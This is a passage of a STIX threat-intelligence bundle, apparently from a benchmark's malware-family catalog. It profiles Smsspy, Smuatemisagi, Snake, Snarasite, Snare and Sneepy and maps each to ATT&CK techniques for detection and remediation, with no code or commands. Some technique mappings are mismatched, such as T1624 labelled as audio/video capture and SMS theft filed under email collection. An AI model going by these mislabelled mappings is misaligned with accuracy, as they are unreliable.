      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e58f8ebb-0367-5efa-bd41-069be2e21106",
      "target_ref": "attack-pattern--bfe7a36f-c225-53e0-9521-b3d42dc9e250",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smshoax exhibits technique T1533 (Data from Local System (Harvesting contact lists for further spam))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--79c61810-cb2e-52fd-8ccc-3010e36b7d57",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Smsspy",
      "description": "TrojanSpy:AndroidOS/Smsspy (or Win32 variants targeting mobile emulators/connected devices) is a specialized spyware focused entirely on intercepting and exfiltrating Short Message Service (SMS) data (`T1114.001`). Its primary, critical function is to bypass Multi-Factor Authentication (MFA) by silently reading the One-Time Passwords (OTPs) sent by banks during fraudulent transactions.<br><br><b>Understanding Smsspy (2FA Interceptors)</b><br>To an end-user, the infection is often unnoticed until they receive a notification of a cleared bank account. The SMS messages containing the authentication codes are often hidden from the user's inbox by the malware. For security teams, Smsspy highlights the inherent weakness of SMS-based 2FA against targeted banking attacks.<br><br><b>Execution and Interception Mechanics</b><br>Smsspy is typically distributed via third-party app stores, deceptive 'security update' SMS links (Smishing), or dropped by a primary banking trojan. Once installed, it requests the `READ_SMS` and `RECEIVE_SMS` Android permissions (`T1624`). It then establishes a background service to monitor all incoming messages. When a message arrives matching specific regex patterns (e.g., containing 'code', 'OTP', or originating from known bank shortcodes), it immediately exfiltrates the contents via HTTP/HTTPS to the attacker's C2 server (`T1041`), often deleting or marking the message as read locally to hide the activity from the victim.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the total compromise of SMS-based MFA and potential severe financial loss. IoCs include unexpected apps possessing SMS-reading permissions, rapid battery drain, and network logs showing background HTTP POST requests immediately following the receipt of an SMS message. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Smsspy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/smsspy"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--18f09820-9c8e-55dc-ad2a-56acb2b260c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--79c61810-cb2e-52fd-8ccc-3010e36b7d57",
      "target_ref": "attack-pattern--3b5639c8-b582-5988-b9eb-f34bd3a9a3ba",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smsspy exhibits technique T1114.001 (Email Collection: Local Email Collection (Adapted for SMS interception to steal OTPs))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--de8f4914-e2b8-506a-8760-b08edebe9cb4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1624: Location and Audio/Video Capture (Adapted for requesting excessive SMS permissions)",
      "description": "MITRE ATT&CK Technique T1624 (Location and Audio/Video Capture (Adapted for requesting excessive SMS permissions)) under tactic Collection.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1624",
          "url": "https://attack.mitre.org/techniques/T1624/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc43da0d-9704-5fcf-b5a8-c54db9955544",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--79c61810-cb2e-52fd-8ccc-3010e36b7d57",
      "target_ref": "attack-pattern--de8f4914-e2b8-506a-8760-b08edebe9cb4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smsspy exhibits technique T1624 (Location and Audio/Video Capture (Adapted for requesting excessive SMS permissions))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f742c3c0-1d4a-5eab-ba95-8fa0d126ad56",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--79c61810-cb2e-52fd-8ccc-3010e36b7d57",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smsspy exhibits technique T1041 (Exfiltration Over C2 Channel (Sending intercepted SMS codes to the attacker in real-time))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c85ac282-fbf5-5203-9311-0a0a9713f9df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Smuatemisagi",
      "description": "Trojan:Win32/Smuatemisagi is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Smuatemisagi</b><br>To an end-user, a Smuatemisagi infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Smuatemisagi is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Smuatemisagi is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Smuatemisagi frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Smuatemisagi reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Smuatemisagi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/smuatemisagi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--149e4e7e-e809-5758-a9fb-8716fb4754bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c85ac282-fbf5-5203-9311-0a0a9713f9df",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smuatemisagi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca50c559-32ff-5e76-9b8d-4ca0261ac943",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c85ac282-fbf5-5203-9311-0a0a9713f9df",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smuatemisagi exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7626a952-b883-53a0-9504-5fee2ec87d65",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c85ac282-fbf5-5203-9311-0a0a9713f9df",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smuatemisagi exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4b555176-39ab-586e-889f-85f1d072c7c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c85ac282-fbf5-5203-9311-0a0a9713f9df",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smuatemisagi exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db379504-8ecd-52ae-b8d7-dc37980aa551",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c85ac282-fbf5-5203-9311-0a0a9713f9df",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smuatemisagi exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--051b09e5-f4d2-51ad-a97b-85eda39e44e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Snake",
      "description": "Snake (also tracked across intelligence agencies and vendors as Turla, Uroburos, Ouroboros, and Snake Rootkit) is an exceptionally sophisticated cyber espionage platform developed by Center 16 of the Russian Federal Security Service (FSB). Active globally for nearly two decades, Snake has compromised computer networks across at least 50 nations spanning NATO member militaries, foreign affairs ministries, diplomatic entities, and defense research organizations. Operating as a stealthy kernel-mode rootkit and multi-tiered payload engine, Snake utilizes custom encrypted peer-to-peer (P2P) communication protocols layered across standard UDP, TCP, and ICMP packets. It transforms compromised enterprise networks into an internal proxy mesh where only a single designated relay node communicates with external FSB C2 infrastructure, shielding internal operational hosts. In May 2023, an international Five Eyes coalition led by the US Department of Justice, FBI, NSA, and CISA dismantled Snake's global peer-to-peer network under 'Operation MEDUSA' by issuing specialized commands via the FBI-developed PERSEUS tool that forced the Snake implant to overwrite its own operational components without harming host files. (Observed samples in benchmark: 450)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Turla Snake",
        "Uroburos",
        "Ouroboros",
        "Epic Turla",
        "Rootkit:Win32/Snake",
        "Snake Implant"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Snake",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/snake"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA23-129A"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f80f2c00-3bda-55f0-a7a8-a3af86d93aeb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--051b09e5-f4d2-51ad-a97b-85eda39e44e0",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snake exhibits technique T1014 (Rootkit)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2436e41d-7d23-53fd-a9e2-752e1e221766",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--051b09e5-f4d2-51ad-a97b-85eda39e44e0",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snake exhibits technique T1055.001 (Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f00966aa-d321-533f-b372-bf147c4ef96e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--051b09e5-f4d2-51ad-a97b-85eda39e44e0",
      "target_ref": "attack-pattern--25966596-f268-52dc-8ccd-eba715b5e824",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snake exhibits technique T1573.002 (Asymmetric Cryptography)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--03467d66-5236-51e2-b255-0f63b651cedd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--051b09e5-f4d2-51ad-a97b-85eda39e44e0",
      "target_ref": "attack-pattern--62a14fb2-1047-5333-b2dc-6dd9a2ed37b5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snake exhibits technique T1571 (Non-Standard Port)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64a7375c-7401-505c-b08d-d119bda4c8d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--051b09e5-f4d2-51ad-a97b-85eda39e44e0",
      "target_ref": "attack-pattern--a3b1cbba-cac7-5f53-b134-6cfe2a13b053",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snake exhibits technique T1068 (Exploitation for Privilege Escalation)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0b25f42c-ce10-5fb1-858f-bebadf37a08e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--051b09e5-f4d2-51ad-a97b-85eda39e44e0",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snake exhibits technique T1543.003 (Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8713b99e-8e88-570a-a875-5664945d4f99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--051b09e5-f4d2-51ad-a97b-85eda39e44e0",
      "target_ref": "attack-pattern--d66030a6-0b1f-5824-ae5f-d3704d249837",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snake exhibits technique T1021.002 (SMB/Windows Admin Shares)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00fb375e-fe0c-597a-adfd-8e155b4a2ab1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--051b09e5-f4d2-51ad-a97b-85eda39e44e0",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snake exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f56a914c-f3b9-52df-b10b-36b98299e18e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Snarasite",
      "description": "Snarasite (cataloged across security vendors and academic research datasets under signatures including Trojan:Win32/Snarasite, Win32/Snarasite, and Snarasite.D!tr) is a persistent Windows trojan family and initial access dropper active since 2014. Notably prominent in cybersecurity literature, Snarasite represents a key benchmark class within the MaleVis and Fusion Malware Datasets used globally to evaluate deep learning and convolutional neural network (CNN) models on binary image classification. In practical attacks, Snarasite propagates via compromised web portals and deceptive software installers. Once executed on an endpoint, the trojan unpacks obfuscated PE sections, registers autostart entries under Windows CurrentVersion\\Run, and initiates HTTP beaconing to command servers. Snarasite is capable of dropping secondary surveillance modules, executing terminal commands, and exfiltrating system profiling data. (Observed samples in benchmark: 70)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Snarasite",
        "Win32/Snarasite",
        "Snarasite.D!tr",
        "Trojan.Win32.Snarasite"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Snarasite",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/snarasite"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--75190400-7abf-5558-8b33-5c266bda90cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f56a914c-f3b9-52df-b10b-36b98299e18e",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snarasite exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0dff1493-2716-513d-a59c-6f34abfd1b74",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f56a914c-f3b9-52df-b10b-36b98299e18e",
      "target_ref": "attack-pattern--ad44e68a-29e4-5d0a-8752-ef97772c6508",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snarasite exhibits technique T1555.004 (Credentials from Password Stores: Windows Credential Manager)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eb67b4fb-28fa-5920-b444-23ec6a95f88c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f56a914c-f3b9-52df-b10b-36b98299e18e",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snarasite exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d12a9e1-b39d-5a15-8050-08311ce0e205",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f56a914c-f3b9-52df-b10b-36b98299e18e",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snarasite exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8a9de468-643e-5c00-919d-b2827c7cd79e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f56a914c-f3b9-52df-b10b-36b98299e18e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snarasite exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--499b5023-e355-573e-87c9-86b1e5f40e1a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Snare",
      "description": "Backdoor:Win32/Snare is a stealthy remote access trojan (RAT) or backdoor designed to provide threat actors with persistent, undetected, and interactive access to a compromised network. It allows attackers to exfiltrate data, monitor user activity, and deploy additional malware payloads on demand.<br><br><b>Understanding Snare</b><br>To a victim, a Snare infection is completely silent. For a SOC analyst, Snare represents a critical breach involving 'hands-on-keyboard' access. Once deployed, the attacker can seamlessly traverse the network, steal high-value credentials, exfiltrate sensitive data, and deploy further destructive payloads, all while appearing as legitimate background system activity.<br><br><b>Execution, Evasion, and Interactive Control</b><br>Snare is typically deployed by initial access brokers, dropped via exploit kits, or executed through macro-enabled spear-phishing documents (`T1566.001`). Upon execution, it heavily relies on Process Injection or Process Hollowing (`T1055`), often unpacking its payload directly into the memory space of a legitimate process like `svchost.exe`. It establishes persistence via hidden Registry keys or Services (`T1543.003`). The backdoor provides a massive suite of capabilities: live keylogging, password recovery, remote command execution (`T1059`), and the ability to seamlessly download and execute secondary malware (`T1105`). Snare often uses customized, encrypted protocols for its C2 communications to evade network IDS (`T1071.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total endpoint compromise and the high probability of lateral movement across the enterprise. Host-based IoCs require careful EDR monitoring: look for legitimate system processes initiating outbound, encrypted network connections to unknown IP addresses, or anomalous child processes spawning from `explorer.exe`. Memory analysis is almost always required to locate the unencrypted Snare payload residing in hollowed memory segments. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Snare",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/snare"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4539abee-66cd-5b5c-986e-7ce82f1cbbc3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--499b5023-e355-573e-87c9-86b1e5f40e1a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snare exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa277d0c-0500-5961-bfd9-bff0454988fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--499b5023-e355-573e-87c9-86b1e5f40e1a",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snare exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--522bff09-8023-5a43-b6ae-154cbcaa031c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--499b5023-e355-573e-87c9-86b1e5f40e1a",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snare exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (Encrypted C2))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5659ea4e-338e-5101-a31b-5783e04895a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--499b5023-e355-573e-87c9-86b1e5f40e1a",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snare exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9e2da9e4-2000-5456-af62-cd5ff3bebbbd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sneepy",
      "description": "<h3>Executive Summary</h3>\nSneepy is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable backdoor and downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSneepy is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Sneepy operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Sneepy ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Sneepy receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Sneepy infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Sneepy executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Sneepy frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Sneepy",
        "Downloader.Sneepy",
        "Win32/Sneepy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sneepy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sneepy"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a7053f8-f575-55b1-9f0b-5b04d1a81af7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9e2da9e4-2000-5456-af62-cd5ff3bebbbd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sneepy exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fe982db9-283d-5a17-b5a0-2da2942534fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9e2da9e4-2000-5456-af62-cd5ff3bebbbd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sneepy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6fbfebea-6655-58c2-9569-7eca9a20b703",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9e2da9e4-2000-5456-af62-cd5ff3bebbbd",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sneepy exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f89e3d29-696d-5a84-a44c-150e5d323b2f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Snifie",
